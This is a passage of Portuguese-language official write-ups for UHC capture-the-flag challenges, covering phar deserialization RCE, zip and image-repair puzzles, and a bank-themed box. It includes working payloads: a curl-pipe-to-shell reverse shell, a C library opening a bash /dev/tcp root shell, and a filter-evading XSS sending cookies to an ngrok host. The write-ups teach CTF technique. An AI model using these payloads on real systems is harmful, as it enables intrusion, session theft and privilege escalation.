Parece que temos uma função que remove algo do servidor com o comando “rm”, no caso o $package_name, será que tem alguma forma de modificar esse objeto $package_name para algo que escapasse do comando “rm” e nós conseguíssemos rodar comandos no servidor?

Dando uma pesquisada pelas funções que tem no código ( filesize() e __destruct() ) acabei descobrindo uma forma de desserealização insegura com arquivos phar.

Exploitation

Parte 2

O objetivo de um ataque de desserealização insegura em uma aplicação web é poder manipular/injetar objetos, e é o que temos que fazer com o objeto $packagename para conseguir um RCE.

Vamos utilizar arquivos phar que são gerados com a classe Phar que é utilizada para empacotar aplicações PHP em um único arquivo que pode ser facilmente distribuído e executado. Se ficou complicado explicarei melhor, pense em um arquivo zip com varias coisas dentro, esse é o arquivo phar no php porém com vários objetos e classes dentro.

A sacada é que existem algumas funções no php que quando executadas em arquivos phar desserealizam os objetos dele, uma dessas funções é a filesize(), então o que temos que fazer é instanciar a classe Package onde está a parte vulnerável da aplicação e declarar o nosso $package_name com o nosso payload.

Como na outra parte da exploração vou deixar alguns links de artigos e em especial um vídeo do ippsec (que inclusive narra o UHC em algumas edições).

Artigos:

Vídeos:

Ok, vamos começar a brincadeira!

Para gerar o arquivo phar vou utilizar um script pronto do PayloadAllTheThings:

(https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure Deserialization/PHP.md#php-phar-deserialization)

<?php
class PDFGenerator { }

//Create a new instance of the Dummy class and modify its property
$dummy = new PDFGenerator();
$dummy->callback = "passthru";
$dummy->fileName = "uname -a > pwned"; //our payload

// Delete any existing PHAR archive with that name
@unlink("poc.phar");

// Create a new archive
$poc = new Phar("poc.phar");

// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();

// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");

/* Add a new file in the archive with "text" as its content*/
$poc["file"] = "text";
// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);
// Stop buffering and write changes to disk
$poc->stopBuffering();
?>

Agora vamos começar alterando o nome da classe “PDFGenerator” para o nome da nossa classe vulnerável.

PDFGenerator —> Package

Depois o objeto “filename” para o nome do nosso objeto onde temos que escrever o payload

filename —> package_name

E então temos que escrever a nossa payload, como o comando que vai rodar é um “rm” teremos que escapar dele:

rm payload
Existem várias formas de se fazer isso( , ; ) irei fazer com $(), o comando rodaria mais ou menos assim no servidor:
rm $(payload)

Assim estaríamos escapando do “rm” e podendo escrever o que quiséssemos de comando no lugar de payload.

O script terá que ficar mais ou menos assim:

<?php
class Package { }

//Create a new instance of the Dummy class and modify its property
$dummy = new Package();
//$dummy->callback = "passthru";
$dummy->package_name = "$(curl http://reverse-shell.sh/172.31.228.136:1234 | sh ) "; //our payload

// Delete any existing PHAR archive with that name
@unlink("poc.phar");

// Create a new archive
$poc = new Phar("poc.phar");

// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();

// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");

/* Add a new file in the archive with "text" as its content*/
$poc["file"] = "text";
// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);
// Stop buffering and write changes to disk
$poc->stopBuffering();
?>

Minha payload foi uma forma bem legal de pegar reverse shell, usando um site, logo depois passei meu ip e a porta onde ele deve se conectar.

Agora vamos gerar o arquivo phar!

/assets/chuvinha/Untitled%2015.png

Parece que nossa configuração do php não nos deixa gerar um arquivo phar, vamos arrumar isso.

php --ini

Isso vai retornar onde está seu arquivo de configuração do php, vamos editar ele, procurando por “phar” vamos modificar uma linha: (removendo o ; do começo dela e escrevendo “Off” no lugar de “On”)

/assets/chuvinha/Untitled%2016.png

E então:

/assets/chuvinha/Untitled%2017.png

Agora deve funcionar:

/assets/chuvinha/Untitled%2018.png

Temos nosso payload. Para fazer o donwload dele na máquina vou criar um servidor python na minha maquina:

(https://github.com/viniciuspereiras/bingo)

bingo 

ou

python3 -m http.server 

E o download:

/assets/chuvinha/Untitled%2019.png

Ok retornou com um “File downloaded! You can access it Here” vou clicar no Here para ver o caminho onde o arquivo foi salvo.

/assets/chuvinha/Untitled%2020.png

Agora vamos rodar a função do filesize() nele mas usando um “phar://./” antes para funcionar, e também abriremos um netcat para ouvir na porta onde colocamos (no caso na porta 1234)

/assets/chuvinha/Untitled%2021.png

Aqui está nossa shell, para ela ficar mais interativa usei o “rlwrap” antes do netcat.

Pós-Exploitation

Agora que estamos com shell precisamos escalar nossos privilégios na máquina, estamos como o usuário do apache “www-data”.

Verifiquei os diretórios atrás de coisas, verifiquei as permissões de sudo (aparentemente não podemos rodar sudo na máquina), e verifiquei as permissões de binários também, e no fim rodei um linpeas para garantir.

Achei uma pasta de um script na pasta /opt do linux, o script é um monitorador de diretórios git expostos (cômico pois ele falhou lá atrás). E tem cara de que vai falhar agora nos dando uma shell de root.

/assets/chuvinha/Untitled%2022.png

Lendo o script em c, percebemos que ele é bem simples, e opa achamos mais uma flag!

#include <stdio.h>
#include <stdlib.h>
#include "gitlib/libgitutils.h"

// UHC{s1mpl3%%%%%%%%%%%%%%t0_RCE}

int main(){
    check_git_safety();
}$

Lendo o README.md podemos ver como que o script foi instalado e um pouco de como ele funciona.

/assets/chuvinha/Untitled%2023.png

Podemos perceber que o script utliza uma biblioteca compartilhada, poderiamos trocar a biblioteca que ele está usando para uma biblioteca nossa e subscrever a função que o script usa, no caso “check_git_safety()”.

Isto se chama Library Hijacking nesse caso em libs de C.

Pesquisando sobre como criar libs em C cheguei a simples conclusão que só precisamos escrever uma nova função num script “.c” normal e compilar como uma biblioteca.

Então vamos escrever nossa biblioteca falsificada e declarar nossa função:

#include <stdlib.h>
void check_git_safety() {
        system("bash -c 'bash -i >& /dev/tcp/172.20.17.36/8989 0>&1'");
}

Como pode ver subscrevi a função check_git_safety() para rodar a função system com o comando para nos mandar uma reverse shell.

Ela iria mandar a shell como root já que no README.md percebemos que o script roda como um cronjob de root.

Então na minha máquina vou compilar o script para transformar numa biblioteca compartilhada.

(O nome do script é libgitutils.c)

Vamos compilar:

gcc libgitutils.c -fpic -c

Isso vai gerar um arquivo libgitutils.o

gcc -shared -o libgitutils.so libgitutils.o

Agora temos nossa biblioteca compartilhada libgitutils.so .

Vamos novamente abrir um servidor python na nossa máquina para passar a biblioteca compartilhada para dentro na máquina que temos shell.

/assets/chuvinha/Untitled%2024.png

Agora com a nossa biblioteca falsificada dentro da máquina vamos seguir as instruções do README.md e copiar nossa lib falsificada para o diretório das instruções.

Primeira instrução:

1. Copy our libgitutils.so library to /lib/x86_64-linux-gnu/libgitutils.so

Vamos copiar:

cp libgitutils.so /lib/x86_64-linux-gnu/libgitutils.so

Segunda instrução:

2. Install a cronjob that runs /opt/git-monitorer/gitmon every minute

Como já alteramos a biblioteca, a cada um minuto o script deve ser rodado, então vamos apenas abrir a porta 8989 da nossa máquina para receber a reverse shell e esperar um minuto.

/assets/chuvinha/Untitled%2025.png

Ownamos!

Agora vamos ver se achamos a flag, dando uma olhada rápida pelo diretório /root, ela já estava lá.

/assets/chuvinha/Untitled%2026.png

É isso XD .

UHCCTF (Classificatória) - CuteCat 🐈 (Official Write-Up)

15 April 2020 at 03:00

Esse challenge foi feito para ser fofo e maluco ao mesmo tempo… Meu primeiro challenge MISC.

Part 1

Começamos o challenge com um .zip criptografado com senha:

/assets/cutecat/Untitled.png

Temos algumas opções para partir, ou rodar um bruteforce ou achar a senha.

Testando algumas coisas na mão acabei conseguindo acertar, a senha é o número que está no nome do arquivo, no caso a senha do 22800.zip é 22800.

/assets/cutecat/Untitled%201.png

Extraindo, temos mais um arquivo, o 41992.zip, testando o mesmo método conseguimos deszipar.

/assets/cutecat/Untitled%202.png

Pelo jeito é um padrão que precisa ser quebrado, vamos desenvolver um script para pegar o nome do arquivo e fazer a extração em loop.

Existem MUITAS formas diferentes de resolver essa primeira parte do challenge, eu usarei shell script para automatizar o processo.

#!/bin/bash
mkdir data                           
echo 'any key + enter to start:'     
read key
while true                          
do
	name=$(ls | grep .zip)            
	name=${name%.zip}                 
	echo "Unziping: $name"     
	unzip -j -P $name $name.zip      
	status=$(echo $?)                  
	if [[ $status != 0 ]]              
	then
	echo "Error extracting $name.zip" 
	exit                              
	fi                                 
	mv $name.zip ./data               
done

Agora vou explicar o script, o que ele faz é em um loop dar um ls na pasta que só vai retornar no output os arquivos que terminarem com .zip, nesse output terá o nome do arquivo que precisamos e será salvo na variável name, então excluímos o “.zip” da nossa variável name e então extraímos o arquivo desse .zip e movemos o .zip de origem para a pasta “data”, assim não teremos problemas no “ls” (o if no meio do código verifica se a extração foi feita com sucesso, se não ele mostra qual .zip deu erro e encerra o programa deixando o script que deu erro na pasta raiz). Assim deve funcionar, vamos testar…

/assets/cutecat/Untitled%203.png

/assets/cutecat/Untitled%204.png

Part 2

Depois de um tempo ele terminou de extrair tudo mas deu erro no 46691.zip, e mostrou que dentro dele tem um arquivo chamado cutecat.jpg…

Depois de tentar umas senhas e não conseguir vamos fazer um bruteforce.

Vou utilizar o john para isso.

/assets/cutecat/Untitled%205.png

Rapidinho conseguimos a senha, usando ela conseguimos extrair o cutecat.jpg

Part 3

Aparentemente o arquivo está corrompido não conseguimos visualizar a imagem.

/assets/cutecat/Untitled%206.png

/assets/cutecat/Untitled%207.png

A principio parece que a assinatura do arquivo pode estar errada, por isso o “file” do Linux não conseguiu identificar o tipo do arquivo. Vamos extrair o hexadecimal da imagem para poder analisar.

/assets/cutecat/Untitled%208.png

Os primeiros bytes dos arquivos costumam ser conhecidos como magic-bytes, vamos ver como é a assinatura (signature ou magic-bytes) de um arquivo jpg.

List of file signatures

/assets/cutecat/Untitled%209.png

Nossa imagem:

/assets/cutecat/Untitled%2010.png

A partir do terceiro byte a assinatura esta correta, então só teremos que trocar os 00 por ff da nossa imagem

Para isso também existem várias formas de fazer, vou usar um módulo do CyberChef para renderizar a imagem, chamado Render Image.

CyberChef

/assets/cutecat/Untitled%2011.png

Selecionando o módulo Render Image usando o input format de Hex eu copiei todo o conteudo do extract que fizemos anteriormente e alterei os dois primeiros bytes que estavam errados para “ff” e apareceu um gatinho fofinho, ownt!

Vamos baixar a imagem!

/assets/cutecat/Untitled%2012.png

/assets/cutecat/Untitled%2013.png

Ownt!!!!!!!!!!!!!

Parece que temos uma senha, acredito que o único lugar que poderíamos usar essa senha seja se tiver esteganografia na imagem…

/assets/cutecat/Untitled%2014.png

É isso, foi fofo né? 😸

UHCCTF (Classificatória) - BankHi (Official Write-Up)

15 April 2020 at 03:00

Essa foi a primeira máquina que eu criei e ela é muito especial para mim, espero que gostem 🙂

Ela foi feita pensando na exploração de técnicas de Hijacking.

easter egg → bank name = Hi          
name of background image = jack.jpg
team developer name = jack
HiJack - Hijacking :) 

Recon

/assets/bankhi/Untitled.png

A página principal parece ser de um banco normal, dando uma lida percebemos que existe uma sessão sobre o time do banco:

/assets/bankhi/Untitled%201.png

Ok, já sabemos o nome de possíveis usuários administradores!

Dando mais uma navegada podemos encontrar uma página um tanto quanto interessante:

/assets/bankhi/Untitled%202.png

Parece que o Banco tem um programa próprio de Bug Bounty (recompensa por bugs).

Mesmo assim vamos fazer um fuzzing no site.

ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u 'https://bankhi.uhclabs.com/FUZZ' -c

/assets/bankhi/Untitled%203.png

É, nada de interessante, todas essas pastas com status 301 estão com acesso negado 😢.

Vamos ver esse tal programa de BugBounty e fazer um fuzzing nele:

ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u 'https://bankhi.uhclabs.com/bugbounty/FUZZ' -c

/assets/bankhi/Untitled%204.png

Só retornou um diretório de uploads, mas não existe directory listening. Talvez se usássemos outra wordlist eu teria pego index.php, login.php, report.php…

Temos de cara uma página de login e um link para criar usuários. (login.php)

/assets/bankhi/Untitled%205.png

Os três botões ali em cima eu preciso estar autenticado para usar, depois de testar algumas credenciais padrão e não ter sucesso vamos criar um user!

Depois de criar um user e logar, temos acesso ao index.php

/assets/bankhi/Untitled%206.png

Dando uma olhada no source code… Temos nossa primeira flag.

/assets/bankhi/Untitled%207.png

Parece ser uma página de reports. É importante ressaltar que os admins podem ver nossos reports 🤔.

Vamos fazer um report:

/assets/bankhi/Untitled%208.png

/assets/bankhi/Untitled%209.png

Agora vamos ver como ele se faz no código html:


<h5 class='card-title'>test</h5>
<h6 class='card-subtitle mb-2 text-muted; text-warning'>Open</h6>
<p class='card-text text-info'>From: vinicius</p>
<p class='card-text'>test</p>

Exploitation

Ok, vamos testar um XSS aqui, não é muito comum em CTFs mas se os admins realmente verem nossos reports provavelmente poderemos executar scripts maliciosos na página deles.

<script> alert('xss') </script>

Vou usar o clássico dos clássicos

/assets/bankhi/Untitled%2010.png

/assets/bankhi/Untitled%2011.png

Interessante… Parece que a aplicação removeu nosso script e nosso alert (muito comum os sites bloquearem o alert…) Parece que teremos que fazer um bypass disso, normalmente podemos inserir uma palavra proibida dentro de outra, assim quando a aplicação remover a palavra proibida, vai concatenar a nossa palavra.

/assets/bankhi/Untitled%2012.png

Nossa payload:

<scrscriptipt> alealertrt('xss') </scrscriptipt>

Vamos enviar e ver se da certo.

/assets/bankhi/Untitled%2013.png

Bom parece que o site está vulnerável a XSS storage, vamos pesquisar o que podemos fazer com isso… Hm, Session Hijacking, podemos roubar cookies dos usuários que verem nosso report (admins ?).

/assets/bankhi/Untitled%2014.png

Temos um cookie de um token JWT com nosso usuário. Vamos desencodar.

/assets/bankhi/Untitled%2015.png

Uid significa UserId, normalmente usado para dizer os privilégios de cada usuário. Como não temos a chave do token não podemos alterar esse valor. Porém sabemos que cada usuário tem um token e com esse token poderiamos roubar a sessão do usuário (Session Hijacking).

Session Hijacking

Vamos procurar alguma payload, vou usar essa:

<scrscriptipt>
new Image().src='2.tcp.ngrok.io:17224/'+(document.cookie);
</scscriptript>

Isso vai fazer com que o browser faça uma requisição para meu IP do ngrok + a porta do ngrok com os cookies da sessão do usuário que estiver acessando a página.

Vamos enviar e abrir nosso netcat para receber o request.

Não funcionou

new Image().src='http://2.tcp.ngrok.io:17224/'+(.);

Se analisarmos a aplicação retirou a palavra “document” e a palavra “cookie”, logo vamos fazer a mesma coisa que fizemos com script e está feito nosso bypass.

<scrscriptipt>
new Image().src='http://2.tcp.ngrok.io:18238/'+(docdocumentument.cookcookieie);
</scscriptript>

/assets/bankhi/Untitled%2016.png

Agora vamos usar esse token que pegamos: (se botarmos esse token no jwt.io ele vai mostrar o uid:1)

/assets/bankhi/Untitled%2017.png

Mais uma Flag! Session Hijacking feito com Sucesso.

Agora temos um formulário de upload.

Pelo jeito podemos fazer o upload de php, vamos upar uma shell…

Agora vamos ver aquele diretório que o ffuf apontou o /uploads, se nossa shell está lá.

/assets/bankhi/Untitled%2018.png

Como estou escrevendo esse write-up no dia do UHC temos um load-balancer rodando, por isso vamos dar f5 algumas vezes…

/assets/bankhi/Untitled%2019.png

Habemos Shell !

Pós-Exploitation

Part 1

Agora que temos shell vou transforma-la numa shell mais responsiva para trabalharmos melhor…

/assets/bankhi/Untitled%2020.png

Full tty shell
in your shell~ python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL + Z
in your terminal~ stty raw -echo; fg
ENTER
in your shell~ export TERM=xterm

Agora poderemos trabalhar melhor, vamos começar dando uma olhada na máquina, parece que temos dois users, um chamado ronald e outro leia (estamos como o user do apache www-data), e no / temos um arquivo chamado welcome.txt

/assets/bankhi/Untitled%2021.png

Parece a senha do ronald, agora vamos logar como ronald, e logo na home dele temos mais uma flag!

/assets/bankhi/Untitled%2022.png

Ok, pelo o que parece teremos que fazer uma escalação de privilégios horizontal e pegar o user da leia.

Poderíamos rodar um linpeas para enumerar, mas logo no “sudo -l” já temos algo interessante:

/assets/bankhi/Untitled%2023.png

Isso significa que com o user ronald podemos rodar /usr/bin/python3.7 /opt/bingo.py setando uma variável de ambiente sem usar senha como o user leia.

Isso está com cara de Python Lib Hijacking

Vamos então ler esse script bingo.py

Python Lib Hijacking

Linux Privilege Escalation

/assets/bankhi/Untitled%2024.png

O básico de Python LIb Hijacking é sobre escrever uma das bibliotecas importadas no script, no caso vamos usar a socketserver…

Criei uma pasta oculta no /tmp para nao leakar o exploit no meio do campeonato…

/assets/bankhi/Untitled%2025.png

Escrevi um script com uma função chamando uma shell interativa, assim quando rodarmos o bingo.py como a leia, o bingo.py importará a nossa lib fake chamando uma shell como a leia. Mas como fazemos o python entender que é para usar a nossa lib? O SETENV no /etc/sudoers significa que podemos dizer o valor de alguma variável de ambiente do linux, e existe uma variável de ambiente que diz onde ficam os arquivos do python incluindo as libs, então temos só que dizer que esse diretório é o nosso /tmp/.a/ .

/assets/bankhi/Untitled%2026.png

Gooooood

Agora como a leia podemos ver que a próxima flag estava na home dela.

/assets/bankhi/Untitled%2027.png

Part 2 - Root

Poderia ter rodado o linpeas mas novamente o “sudo -l” nos disse algo:

/assets/bankhi/Untitled%2028.png

Isso significa que o user leia pode rodar /bin/sl como root sem senha e setando uma variável de ambiente…

Vamos ver esse sl.

Path Hijacking

/assets/bankhi/Untitled%2029.png

LOL, Aparentemente ele faz um trem no terminal.

Mas logo quando ele termina de passar o trem ele mostra um output um tanto quanto conhecido

/assets/bankhi/Untitled%2030.png

Parece que ele está rodando um ls…

Tudo indica que seja Path Hijacking, vou rodar o strace no sl para ver as chamadas de sistema para confirmar…

/assets/bankhi/unknown.png

É ele está chamando o “ls” direto sem path, ou seja podemos manipular a variável PATH usando nosso SETENV, PATH é a variável que determina onde os arquivos executáveis do linux estão. Por exemplo para não digitar “/usr/bin/sudo” meu PATH terá “/usr/bin/” assim quando eu for rodar o comando “sudo” eu só preciso digitar “sudo”.

Então temos que criar um ls malicioso…

Usei o mesmo path que usamos para o python lib hijacking.

/assets/bankhi/Untitled%2031.png

Escrevi um bash para apenas rodar um /bin/bash e chamar a shell interativa como root

Agora o root…

/assets/bankhi/Untitled%2032.png

E nossa flag de root merecida!

/assets/bankhi/Untitled%2033.png

É isso.

Essa foi a primeira maquina que eu fiz então espero que quem tenha jogado tenha gostado e sim eu sou fã de star wars, tem varios easter eggs espalhados na máquina kkskksks…

❌
❌